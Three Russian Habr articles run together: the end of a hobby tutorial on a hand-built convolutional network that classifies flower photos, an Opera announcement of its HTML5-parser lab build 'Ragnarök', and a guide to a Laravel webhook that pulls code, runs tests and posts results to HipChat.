h = srcArr.shape[1] // self.shape[1]
resArr = np.zeros(self.resultShape)
for x in range(w):
for y in range(h):
a = srcArr[x:x+self.shape[0], y:y+self.shape[1]]
if a.shape != (self.shape[0], self.shape[1]):
continue
if x >= self.resultShape[0] or y >= self.resultShape[1]:
continue
res = self.nn.calc(a)
resArr[x,y] = res[0,0]
return resArr
```
На выходе имеем матрицу resArr, с размерностью, равной количеству кусочков, на которые было разбито изображение. Эту матрицу передаем на вход второй сети, которая даcт конечный результат.
```
y = np.array([[1,0,1,0]])
firstShape = (40, 40)
middleShape = (5, 5)
imageSize = firstShape[0]*middleShape[0], firstShape[1]*middleShape[1]
...
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
...
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
```
Тут вы должны меня спросить, откуда я взял первую строчку, и что она значит:
```
y = np.array([[1,0,1,0]])
```
Это — ожидаемый результат сети в случае положительного ответа, т.е. если сеть считает, что на входе изображение цветка. Размерность выбрал из принципа «ни мало, ни много» — если брать размерность 1х1, то из одного получившегося числа трудно судить, насколько сеть «сомневается» в результате. Большую размерность задавать тоже смысла нет — она не даст больше информации. Равное количество нулей и единиц дает четкий ориентир — чем ближе к нему, тем больше совпадение. Если же взять все единицы или все нули, то у сети появится стимул к переобучению — увеличить все сомножители или, соответственно, обнулить их, чтобы получать нужный результат независимо от входных данных.
Как обучать сверточную сеть?
----------------------------
Обучающую выборку я сделал из своих же фотографий, попросту разложив их в два каталога:
*flowers*
и *noflowers*
Пути к картинкам соберу в два массива
```
import os
fl = [e.path for e in os.scandir('flowers')]
nofl = [e.path for e in os.scandir('noflowers')]
all = fl+nofl
```
Обучать простые сети обычно, в том числе в оригинальной статье, предлагается традиционным методом — [обратным распространением ошибки](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B3%D0%BE_%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B8). Но чтобы этот метод применить к сверточной сети, состоящей из двух элементарных, нужно обеспечить сквозную передачу накопленной ошибки из второй сети в первую. Вообще для сверточных сетей есть и [другие методы](https://ru.wikipedia.org/wiki/%D0%A1%D0%B2%D1%91%D1%80%D1%82%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%BD%D0%B5%D0%B9%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C#.D0.9E.D0.B1.D1.83.D1.87.D0.B5.D0.BD.D0.B8.D0.B5). Переделывать работающую сеть мне было лень, по крайней мере пока, поэтому решил обучить вторую сеть, а первую вообще не обучать, оставить забитой при создании случайными значениями, рассудив, что раз глазные нервы у человека не обучаются, то и мне нечего обучать первичную сеть, «смотрящую» на изображение.
```
for epoch in range(100):
print('Epoch =', epoch)
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
for f in fl:
i = readImage(f, imageSize)
# nn.learn(i, yy, 1)
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
```
В каждой эпохе сразу после обучения прогоняю через сеть всю выборку и смотрю, что получилось.
```
for f in all:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
delta = abs(y-res)
v = round(np.std(delta),3)
```
Если сеть обучилась правильно, то на ее выходе должно быть значение, близкое к заданному [[1,0,1,0]], если на входе цветок, и как можно более отличающееся от заданного, например [[0,1,0,1]], если на входе не цветок. Результат оценивается, эмпирически я принял отклонение от успешного результат не более 0,2 — это тоже успешный результат, и считается число ошибок. Из всех прогонов выбираем такую, где делается меньше всего ошибок, и сохраняем веса синапсов обоих сеток в файлы. Дальше эти файлы можно использовать для загрузки сеток.
```
if v > 0.2 and f in fl:
fails += 1
failFiles.append(f)
elif v<0.2 and f in nofl:
fails +=1
failFiles.append(f)
if minFails == None or fails < minFails:
minFails = fails
lastSyns = nn.net.syns
lastSyns2 = nn2.syns
print('fails =',fails, failFiles)
print('min =',minFails)
if minFails <= 1:
print('found!')
break
for i in range(len(lastSyns)):
np.savetxt('syns_save%s.txt'%i, lastSyns[i])
for i in range(len(lastSyns2)):
np.savetxt('syns2_save%s.txt'%i, lastSyns2[i])
```
Хоть розой назови её, хоть нет
------------------------------
С надеждой запускаю и… подождав..., потом еще подождав..., и еще… получаю полный бред — сетка не обучается:
**Ничего не вышло**`flowers\178.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
flowers\179.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\180.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
flowers\182.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\186-2.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
flowers\186.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\187.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\190 (2).jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\190.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
flowers\191.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\195.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
flowers\199.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
flowers\2.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
flowers\200.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\032.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\085.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
noflowers\088.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\122.JPG res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\123.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\173.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
noflowers\202.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\205.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\cutxml.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.241
noflowers\Getaway.jpg res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
noflowers\IMGP1800.JPG res = [[ 0.98 0.5 0.98 0.5 ]] v = 0.24
noflowers\trq-4.png res = [[ 0.97 0.51 0.97 0.51]] v = 0.239
fails = 14`
Будучи носителем настоящих живых, а не искусственных нейронов, до меня дошло, что главным отличием *цветов* является *цвет* (да, кэп, спасибо, что ты всегда рядом, хотя зачастую опаздываешь со своими советами). Поэтому надо бы перевести его в какую-то цветовую модель, где цветовая составляющая будет выделена (HSV или HSL), и обучать сеть на цвете.
Но оказалось, что класс [QImage не знает такие цветовые пространства](http://doc.qt.io/qt-5/qimage.html#Format-enum). Пришлось отказаться от него и загружать фотки с помощью OpenCV, где такая возможность есть.
```
import cv2
def readImageCV(file, imageSize):
img = cv2.imread(file)
small = cv2.resize(img, imageSize)
hsv = cv2.cvtColor(small, cv2.COLOR_BGR2HSV)
return hsv[:,:,0]/255
```
Правда, OpenCV наотрез отказался работать с русскими буквами в именах файлов, пришлось их переименовать.
Запустил — результат не порадовал, практически тот же.
Еще подумал, решил, что проблема в сильно случайных значениях в первой сетке, зря я понадеялся, что звезды сойдутся без моей помощи, поэтому добавил ей небольшое предобучение, всего 2 цикла на файл. Для образца положительного результата взял единичную матрицу.
```
yy = np.zeros(middleShape)
np.fill_diagonal(yy,1)
...
for f in fl:
i = readImage(f, imageSize)
nn.learn(i, yy, 2) # чуть-чуть обучаем первую сетку
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
```
Снова запустил — стало куда интереснее, цифры стали меняться, хотя идеала не достиг.
**Лучший результат**`Epoch = 34
flowers\178.jpg res = [[ 0.86 0.47 0.88 0.47]] v = 0.171
flowers\179.jpg res = [[ 0.87 0.51 0.89 0.5 ]] v = 0.194
flowers\180.jpg res = [[ 0.79 0.69 0.79 0.67]] v = 0.233
flowers\182.jpg res = [[ 0.87 0.53 0.88 0.48]] v = 0.189
flowers\186-2.jpg res = [[ 0.89 0.41 0.89 0.39]] v = 0.144
flowers\186.jpg res = [[ 0.85 0.54 0.83 0.55]] v = 0.194
flowers\187.jpg res = [[ 0.86 0.54 0.86 0.54]] v = 0.199
flowers\190 (2).jpg res = [[ 0.96 0.25 0.97 0.15]] v = 0.089
flowers\190.jpg res = [[ 0.95 0.13 0.97 0.14]] v = 0.048
flowers\191.jpg res = [[ 0.81 0.57 0.82 0.57]] v = 0.195
flowers\195.jpg res = [[ 0.81 0.55 0.79 0.56]] v = 0.177
flowers\199.jpg res = [[ 0.89 0.45 0.89 0.45]] v = 0.171
flowers\2.jpg res = [[ 0.83 0.56 0.83 0.55]] v = 0.195
flowers\200.jpg res = [[ 0.91 0.42 0.89 0.43]] v = 0.163
noflowers\032.jpg res = [[ 0.7 0.79 0.69 0.8 ]] v = 0.246
noflowers\085.jpg res = [[ 0.86 0.53 0.86 0.53]] v = 0.192
noflowers\088.jpg res = [[ 0.86 0.56 0.87 0.53]] v = 0.207
noflowers\122.JPG res = [[ 0.81 0.63 0.81 0.62]] v = 0.218
noflowers\123.jpg res = [[ 0.83 0.59 0.84 0.55]] v = 0.204
noflowers\173.jpg res = [[ 0.83 0.6 0.83 0.58]] v = 0.209
noflowers\202.jpg res = [[ 0.78 0.7 0.8 0.65]] v = 0.234
noflowers\205.jpg res = [[ 0.84 0.77 0.79 0.75]] v = 0.287
noflowers\cutxml.jpg res = [[ 0.81 0.61 0.81 0.63]] v = 0.213
noflowers\Getaway.jpg res = [[ 0.85 0.56 0.85 0.55]] v = 0.202
noflowers\IMGP1800.JPG res = [[ 0.85 0.55 0.86 0.54]] v = 0.199
noflowers\trq-4.png res = [[ 0.7 0.72 0.7 0.71]] v = 0.208
fails = 3 ['flowers\\180.jpg', 'noflowers\\085.jpg', 'noflowers\\IMGP1800.JPG']
min = 3`
Дальше… А дальше выходной закончился, и мне пора было заниматься хозработами.
Что делать дальше?
------------------
Конечно, и эта сеть, и то, как я ее учил, и тестовый dataset очень мало соотносятся с реальными сетями и тем, чем занимаются data scientists. Это лишь игрушка для гимнастики ума, не возлагайте на нее больших надежд.
Можно наметить дальнейшие шаги, как добиться нужного результата (если он вам нужен):
1. Добавить еще один промежуточный слой или несколько во вторую сеть — так у нее появится больше свободы в обучении. Все-таки сеть на матричном умножении не совсем классическая, так как в ней меньше связей-синапсов между слоями, да и сами синапсы не уникальны.
2. Использовать приближения к успешным результатам как заготовки для последующих обучений — т.е. запоминать веса синапсов самого успешного результата, а не затиратьвсе случайными значениями.
3. Попробовать генетические алгоритмы — смешивать и делить, размножать успешное и отбраковывать неудачное.
4. Пробовать другие способы обучения, коих уже вагон и маленькая тележка.
5. Использовать больше информации из исходного изображения, например, одновременно цвет и монохром подавать на различные сети, результаты обрабатывать в общей сети.
**Исходный код**
```
import numpy as np
from nnmat import *
import os
import sys
from PyQt5.QtGui import *
from PyQt5.QtCore import *
import meshandler
import random
import cv2
class ImgNN:
def __init__(self, shape, resultShape = (16, 16), imageSize = (400,400)):
self.resultShape = resultShape
self.w = imageSize[0] // shape[0]
self.h = imageSize[1] // shape[1]
self.net = NN([shape, (1,shape[0]), (1,1)])
self.shape = shape
self.imageSize = imageSize
def learn(self, srcArr, result, cycles):
for c in range(cycles):
for x in range(self.w):
for y in range(self.h):
a = srcArr[x:x+self.shape[0], y:y+self.shape[1]]
if a.shape != (self.shape[0], self.shape[1]):
print(a.shape)
continue
self.net.learn(a, result[x,y], 1)
def calc(self, srcArr):
resArr = np.zeros(self.resultShape)
for x in range(self.w):
for y in range(self.h):
a = srcArr[x:x+self.shape[0], y:y+self.shape[1]]
if a.shape != (self.shape[0], self.shape[1]):
continue
if x >= self.resultShape[0] or y >= self.resultShape[1]:
continue
res = self.net.calc(a)
resArr[x,y] = res[0,0]
return resArr
def learnFile(self, file, result, cycles):
return self.learn(readImage(file, self.imageSize), result, cycles)
def calcFile(self, file):
return self.calc(readImage(file, self.imageSize))
def readImageCV(file, imageSize):
img = cv2.imread(file)
small = cv2.resize(img, imageSize)
hsv = cv2.cvtColor(small, cv2.COLOR_BGR2HSV)
return hsv[:,:,0]/255
def readImageQ(file, imageSize):
img = QImage(file)
if img.isNull():
return 0
img = img.convertToFormat(QImage.Format_Grayscale8)
img = img.scaled(imageSize[0],imageSize[1],Qt.IgnoreAspectRatio)
srcBi = img.bits()
srcBi.setsize(img.width() * img.height())
srcBy = bytes(srcBi)
srcW, srcH = img.width(), img.height()
srcArr = np.recarray((srcH, srcW), dtype=np.uint8, buf=srcBy).view(dtype=np.uint8,type=np.ndarray)
return srcArr/255
if __name__ == '__main__':
readImage = readImageCV
y = np.array([[1,0,1,0]])
firstShape = (40, 40)
middleShape = (10, 10)
imageSize = firstShape[0]*middleShape[0], firstShape[1]*middleShape[1]
StartLearn = True
if not StartLearn:
pictDir = '2014-05'
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn.net.syns[0] = np.loadtxt('syns_save0.txt')
nn.net.syns[1] = np.loadtxt('syns_save1.txt')
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
nn2.syns[0] = np.loadtxt('syns2_save0.txt')
nn2.syns[1] = np.loadtxt('syns2_save1.txt')
files = [e.path for e in os.scandir(pictDir)]
for f in files:
i = readImage(f, imageSize)
res = nn2.calc(i)
delta = y-res
v = round(np.std(delta),3)
if v < 0.2:
print('Flower',f)
else:
print('No flower',f)
else:
fl = [e.path for e in os.scandir('flowers')]
nofl = [e.path for e in os.scandir('noflowers')]
all = fl+nofl
yy = np.zeros(middleShape)
np.fill_diagonal(yy,1)
minFails = None
for epoch in range(100):
print('Epoch =', epoch)
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
for f in fl:
i = readImage(f, imageSize)
nn.learn(i, yy, 2)
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
fails = 0
failFiles = []
for f in all:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
delta = abs(y-res)
v = round(np.std(delta),3)
#v = round(delta.sum(),3)
print(f, 'res = ', res.round(2),'v =',v)
if v > 0.2 and f in fl:
fails += 1
failFiles.append(f)
elif v<0.2 and f in nofl:
fails +=1
failFiles.append(f)
if minFails == None or fails < minFails:
minFails = fails
lastSyns = nn.net.syns
lastSyns2 = nn2.syns
print('fails =',fails, failFiles)
print('min =',minFails)
if minFails <= 1:
print('found!')
break
for i in range(len(lastSyns)):
np.savetxt('syns_save%s.txt'%i, lastSyns[i])
for i in range(len(lastSyns2)):
np.savetxt('syns2_save%s.txt'%i, lastSyns2[i])
```
**Полезные статьи на Хабре*** [Hello, TensorFlow. Библиотека машинного обучения от Google](https://habrahabr.ru/post/305578/), перевод [freetonik](https://habrahabr.ru/users/freetonik/)
* [PyTorch — ваш новый фреймворк глубокого обучения](https://habrahabr.ru/post/334380/), статья [devpony](https://habrahabr.ru/users/devpony/)
* [Deep Learning, теперь и в OpenCV](https://habrahabr.ru/company/intel/blog/333612/), статья в блоге Intel
[Продолжение](https://habrahabr.ru/post/339994/) | https://habr.com/ru/post/338548/ | null | ru | null |
# Грядёт Ragnarök! Или Opera 11.50 на подходе
[Ragnarök — браузер викингов с новым алгоритмом разбора HTML5!](http://labs.opera.com/news/2011/02/22/)
На этой неделе дебютирует наш лабораторный билд под названием Рагнарёк, который содержит нашу реализацию алгоритма разбора HTML5. Нам хотелось бы что бы вы протестировали эту сборку. Забрать можно по следующим ссылкам.
* [Opera 11 with new HTML 5 parser for Windows](http://snapshot.opera.com/labs/ragnarok/Opera_1150_24581_en.exe)
* [Opera 11 with new HTML 5 parser for Mac](http://snapshot.opera.com/labs/ragnarok/Opera_11.50_24581.dmg)
* [Opera 11 with new HTML 5 parser for Linux/FreeBSD](http://snapshot.opera.com/labs/ragnarok/Linux-FreeBSD/)
**На этой неделе вы увидите классный пример HTML5.**
Интернет изобилует играми на , HTML5 видео плеерами, drag-and-drop whizz-bangs и другими примерами HTML5 и «HTML5». Но здесь вы увидите действительно интересный пример, вероятно лучший на этой неделе. Готовы ли вы?
Итак:
#### **```
*****Yo!*****
```**
Я вижу что вы удивлены, что же давайте разберемся в чем дело. Элементы неправильно вложены, в этом случае тег должен быть первым и закрытым. И как построят DOM различные браузеры?
Мы можем это проверить с помощью Opera Dragonfly и её эквивалентов или с помощью [Ian Hickson's DOM viewer](http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cb%3E%3Ci%3EYo!%3C%2Fb%3E%3C%2Fi%3E)
Internet Explorer 9 и Safari 5 дадут такой результат:
#### **```
***Yo!***
```**
В то время как Opera, Firefox и Chrome дадут такой
#### **```
***Yo!***
```**
Все браузеры разобрались с неправильной вложенность, но не последовательно, обратите внимание что Internet Explorer и Safari имеют дополнительный пустой элемент , в то время как Opera, Firefox и Chrome его не имеют. Что правильно? В HTML4, верны оба варианта. Потому что спецификация HTML4 описывает только то что делать с хорошей разметкой, но не с плохой и мы знаем что 95% веба не проходят валидацию. Таким образом браузеры брошены на произвол и сами вынуждены думать что делать с плохой разметкой, так-как обработка ошибок в спецификации HTML4 не предусмотрена.
Такая простая разметка уже продуцирует очень разные DOM, а теперь представьте
что будет в результате большего числа реальных примеров с тегами где десятки и сотни элементов. Написание яваскрипт кода, который должен одинаково работать во всех браузерах с такими не соответствиями, является одной из основных причин выпадения волос и плача среди веб-разработчиков.
К счастью, в настоящее время есть решение этой проблемы.
**Алгоритм разбора HTML5 кода.**
Спецификация HTML5 включает в себя [правила разбора](http://dev.w3.org/html5/spec/parsing.html#parsing) любой разметки и валидной, и не валидной. После того как все баузеры получат свои алгоритмы разбора HTML5, одинаковая разметка будет продуцировать одинаковый DOM во всех соответствующих браузерах.
Существуют два основных последствия этого:
* Яваскрипт кодеры будут веселы и с пышной шевелюрой
* Пользователи могут ожидать меньше проблем несовместимости между их любимыми сайтами и браузером
**Так валидация ушла в прошлое?**
Абсолютно нет. Она по прежнему остаётся жизненно важным инструментом обеспечения качества и только то что алгоритм разбора HTML5 будет воспроизводить совместимый DOM еще не означает того, что это тот DOM, который вам нужен.
**Реализация в Opera**
Наш старый алгоритм разбора HTML базировался на том что был написан 15 лет назад. Он постоянно дописывался чтобы идти в ногу с изменением стандартов и множеством путей чтобы не следовать спецификации. После всех изменений код стал походить на переукрашенную ёлку и добавление новых возможностей стало очень сложным без стука по всему дереву.
С решением переписать алгоритм разбора появилась возможность очистить весь дизайн.
Теперь мы с гордостью можем заявить что новый парсер Ragnarök проходит тест на соответствие спецификации HTML5, основаный на html5lib, на 99,9%. Недостающие 0.1% будут реализованы к моменту когда Ragnarök уйдет на золото. Весь набор тестов также будет опубликован и вы сможете сами убедиться во всём, ну и побаловаться с различными браузерами.
Ragnarök также набирает 11 из 11 (плюс 2 бонусных бала) на несколько не полном (и следовательно вводящем в заблуждение) [html5test.com](http://html5test.com) (два бонусных бала за внедренный SVG и MathML в HTML5)
**Потребление памяти**
Основная причина по которой мы так долго сохраняли старый алгоритм это его эффективное использование памяти при работе с плохой разметкой. Вместо дублирования узлов как указано в спецификации HTML5, наш алгоритм имел сложную систему указателей, которые определяли какие узлы должны быть дублированы. Это спасало его от не нужного выделения памяти однако и сильно усложнило весь код. Теперь мы перешли на копирование узлов, что требует немного больше оперативной памяти. Перед финальным релизом мы минимизируем этот побочный эффект, ведь Opera всегда заботилась об эффективном использовании памяти и работе на небольших устройствах.
**Производительность**
Это не очевидно сейчас так-как это техническая демка и она не оптимизирована для скорости как релизы, однако это еще одно преимущество для увеличения производительности. Так-как время разбора HTML кода относительно мало по сравнению с рендерингом и загрузкой страницы, то общий прирост производительности будет не столь заметен, но все улучшения производительности ведь к лучшему?
**Хватайте пока горячее!**
Ссылки на загрузку выше.
**Внимание**
Это техническая демка и некоторые вещи в ней могут не работать, например m2 имеет некоторые проблемы.
Ваши замечания по поводу парсера или ошибки оставлять [тут](http://my.opera.com/core/blog/show.dml/26453141#comments). | https://habr.com/ru/post/114507/ | null | ru | null |
# Самотестируемая система с оповещениями на Laravel + Bitbucket + HipChat
В этой статье я расскажу, как можно оперативно настроить автоматическое стягивание нового кода на тестовый сервер вашего laravel-приложения, автозапуск тестов и оповещение о результате в соответствующий корпоративный чат. А также отлавливание новых ошибок в laravel.log
Привет, меня зовут Дмитрий Корец, и я PHP разработчик в небольшой продуктовой компании.
У нас в качестве хостинга кода используется Bitbucket, общение команды через HipChat, поэтому и работать будет с ними.
Как мы знаем, одним из основых требований к реализации непрерывной интеграции является самотестируемость системы. И когда приложение не слишком большое, его не разрабатывают несколько независимых друг от друга команд, настройка различных Bamboo и Jenkins-ов кажется довольно затратной.
**Итак, что мы хотим?**
При пуше в репозиторий должно происходить следующее:
* Оповещение в HipChat комнату о изменениях в коде
* Новый коммит стягивается на сервере
* Запуск тестов на сервере
* В случае успеха отправляем сообщение об успехе, в случае ошибок — краткий stacktrace
**Более того:**
* Отлавливание ошибок в laravel.log с последующим оповещением в корпоративный чат
* Парсинг строки коммита для дополнительных манипуляций на сервере
* Анализ ветки, в которую был сделан коммит
**Начнем!**
В битбакета, как и в гитхаба есть так называемые вебхуки(webhooks). Это подразумевает отправку HTTP запроса с определенными данными в JSON формате на указанный вами URL при определенных изменениях в репозитории.
Идем в Settings -> Webhooks -> Add Webhook
Как видим, списов довольно большой. Нас пока интересует только Push(при слиянии веток будет также срабатывать событие push), указываем нужный нам url, сохраняем — готово!
Теперь при пуше в репозиторий будет отправляться указанный выше запрос. Даже если мы ещё не настроили нужные роуты в нашем приложении, мы можем увидеть всё с самого битбакета: Settings -> Webhooks -> View requests напротив созданного нами хука.
Перейдем во View details и увидим, собственно, сам джсон обьект, который был отправлен, ответ от нашего сервера, статус код, время ответа и другое.
#### Добавляем интеграцию в HipChat комнату
В хипчата есть встроенная интеграция с битбакетом. Но всё, что там доступно — подключения уведомлений об изменениях в репозитории. Передо мной стояла задача получать уведомления только при обновлении определенной ветки, поскольку в моей компании ядро продукта постоянно дорабатывается, паралельно с этим на уже существующем ядре релизятся новые проекты.
Поэтому, на этапе разработки у нас такая структура веток в репозитории с ядром(условно):
* staging
* master
* master\_project1
* master\_project1
Саму комнату, я думаю, сами знаете как создать, далее переходим в неё и жмем Add integration -> Build your own integration, придумываем название, от имени этой интеграции будут приходить сообщения в чат. Подтверждаем. На следующей странице получаем самое важное — урл с токеном и сразу же пример curl команды для теста.
`curl -d '{"color":"green","message":"My first notification (yey)","notify":false,"message_format":"text"}' -H 'Content-Type: application/json' https://youcompany.hipchat.com/v2/room/{roomId}/notification?auth_token={token}`
#### Хук настроен, HipChat комната создана, пишем логику
Создаем роут:
```
php
Route::group(['prefix' = LaravelLocalization::setLocale()],
function () {
Route::group(
[
'prefix' => 'development',
],
function () {
Route::group(['prefix' => 'bitbucket',
'namespace' => '\BE\Dev\Backend\Http\Controllers'], function () {
Route::post('/', [
'as' => 'bitbucket.push_event',
'uses' => 'BitbucketEventsController@pushEvent'
]);
});
}
);
}
);
```
Контроллер:
```
php
namespace BE\Dev\Backend\Http\Controllers;
use App\Http\Controllers\Controller;
use BE\Dev\Services\Bitbucket\BitbucketPushEventService;
use BE\Dev\Services\HipChat\HipChatService;
use Illuminate\Http\Request;
class BitbucketEventsController extends Controller
{
<?php
namespace BE\Dev\Backend\Http\Controllers;
use App\Http\Controllers\Controller;
use BE\Dev\Services\Bitbucket\BitbucketPushEventService;
use BE\Dev\Services\HipChat\HipChatService;
use Illuminate\Http\Request;
class BitbucketEventsController extends Controller
{
/**
* @var $hipchatService HipChatService
*/
protected $hipchatService;
/**
* @var $pushService BitbucketPushEventService
*/
protected $pushService;
protected $config;
public function __construct(Request $request)
{
$this-config = config('be_dev');
$this->hipchatService = app(HipChatService::class);
$this->pushService = app(BitbucketPushEventService::class, [$request->all()]);
}
public function pushEvent(Request $request)
{
$data = $request->all();
// если коммит не из ветки staging - выходим из метода
if ($this->pushService->getBranch() != 'staging') {
return false;
}
// получение комментария
$comment = strtolower($data['push']['changes'][0]['commits'][0]['message']);
// Получение автора коммита
$author = $data['actor']['display_name'];
$data = [
'color' => 'green',
'message' => "**{$author}** только что запушил в репозиторий BE с комментарием \"{$comment}\"",
'notify' => true,
'message_format' => 'html',
];
// отправляем уведомление
$this->hipchatService->sendNotification($data);
// Если комментарий коммита содержит подстроку no tests - выходим из метода
if (strpos($comment, 'no tests')) {
return response()->json([
'success' => true,
'message' => 'tests was not executed'
])->setStatusCode(200);
}
// git pull + запуск тестов + оповщение в комнату
$service = new \BE\Dev\Services\RuntTestsInQueueAndNotifyHipChatRoom();
$service->handle();
return response()->json([
'success' => true
])->setStatusCode(200);
}
}
```
Давайте разберемся. Здесь я сразу немного раскидал код по сервисам, дабы не помещать море логики в контроллер. Основная часть действий прописана в RuntTestsInQueueAndNotifyHipChatRoom.
Содержание RuntTestsInQueueAndNotifyHipChatRoom:
```
php
namespace BE\Dev\Services;
use BE\Dev\Services\HipChat\HipChatService;
use Illuminate\Bus\Queueable;
use BE\Jobs\Job;
use Illuminate\Queue\SerializesModels;
use Illuminate\Contracts\Queue\ShouldQueue;
class RuntTestsInQueueAndNotifyHipChatRoom extends Job implements ShouldQueue
{
use Queueable, SerializesModels;
/**
* @var $deployService DeployService
*/
protected $deployService;
/**
* @var $tests RunTests
*/
protected $tests;
/**
* @var $hipchatService HipChatService
*/
protected $hipchatService;
public function __construct()
{
$this-deployService = app(DeployService::class);
$this->tests = app(RunTests::class);
$this->tests = app(HipChatService::class);
}
/**
* Execute the job.
*
* @return void
*/
public function handle()
{
try {
// git pull на сервере
$this->deployService->pullPackagesChanges();
// запуск тестов
$outputTests = $this->tests->run();
if ($outputTests === true) {
$outputTests = 'Тесты прошли успешно';
$colorTests = 'green';
} else {
$colorTests = 'red';
}
// после тестов отправляем сообщение об их успешном прохождении или фейле
$this->hipchatService->sendNotification([
'color' => $colorTests,
'message' => $outputTests,
'notify' => true,
'message_format' => 'html',
]);
} catch (\Exception $exception) {
\Log::error($exception->getMessage());
}
}
}
```
Как мы собираемся запускать команды на сервере в командой строке? В Laravel'e используется компонент Symfony Process([документация](https://symfony.com/doc/current/components/process.html)). Важный момент, от имени какого пользователя будут запускаться команды, учтите это!
Далее код с комментариями наших сервисов.
Стягиваем изменения с битбакета:
```
php
namespace BE\Dev\Services;
use Symfony\Component\Process\Exception\ProcessFailedException;
use Symfony\Component\Process\Process;
class DeployService
{
public function pullPackagesChanges()
{
// cd ../ необходим, поскольку наша точка входа index.php находится в папке public,
// а нам нужно выйти в корень проекта
$process = new Process('cd ../ && git pull');
$process-run();
// executes after the command finishes
if (!$process->isSuccessful()) {
throw new ProcessFailedException($process);
}
return $process->getOutput();
}
}
```
Запускаем тесты:
```
php
namespace BE\Dev\Services;
use Symfony\Component\Process\Exception\ProcessFailedException;
use Symfony\Component\Process\Process;
class RunTests
{
/**
* @return string
*/
public function run()
{
$process = new Process('cd ../ && vendor/bin/phpunit --tap');
$process-run();
// executes after the command finishes
if (!$process->isSuccessful()) {
return $process->getIncrementalOutput();
}
return true;
}
}
```
Отправка нотификаций сделана обычным curl запросом, к массиву данных применяем json\_encode()
```
php
namespace BE\Dev\Services\HipChat;
class HipChatService
{
/**
* @var $config array Service config
*/
protected $config;
public function __construct()
{
$this-config = config('be_dev.hipchat');
}
public function sendNotification($data)
{
// create curl resource
$ch = curl_init();
// set url
curl_setopt($ch, CURLOPT_URL, $this->config['url']);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
// $output contains the output string
$output = curl_exec($ch);
// close curl resource to free up system resources
curl_close($ch);
return $output;
}
}
```
Пример того, что должны получить:
Ну и, напоследок, добавим ещё одно событие.
```
Log::getMonoLog()->pushHandler(new \Monolog\Handler\HipChatHandler(
’AUTH_TOKEN’, ‘ROOM_ID', ‘hipchat-app’, true, \Monolog\Logger::CRITICAL, true, true, ‘text', 'COMPANY_NAME'.hipchat.com, 'v2'
));
```
Теперь каждый раз при добавлении в laravel.log сообщения с типом CRITICAL будем отправляться сообщение к нам в комнату. Этот код необходимо поместить в одном из ваших сервис провайдеров. Напомню, есть такие типы сообщений в логах:
1. debug
2. info
3. notice
4. warning
5. error
6. critical
7. alert
8. emergency
#### Заключение
На этом у меня всё. Прошу простить за возможную плохую струтурированность информации, мой первый пост. Код доступен [здесь](https://bitbucket.org/koretsweb/laravelatlassian-integration). В виде отдельного composer пакета не оформлял, лень взяла надо мной верх. Также, можно добавить дополнительную логику. Например, если у вас активно используются продукты Atlassian, помимо битбакета и хипчата есть ещё и джира, то можно добавить возможность автоматического закрытия задачи в джире и перевода её на просмотр тестировщикам, если текст коммита содержит код таски в джире. Или, если проекту одного git pull уже недостаточно, нужно публиковать конфиги, перестраивать базу, заполнять начальными данными и т.д., то можно написать баш скрипт деплоя проекта и запускать его на сервере, если текст коммита содержит определенную подстроку.
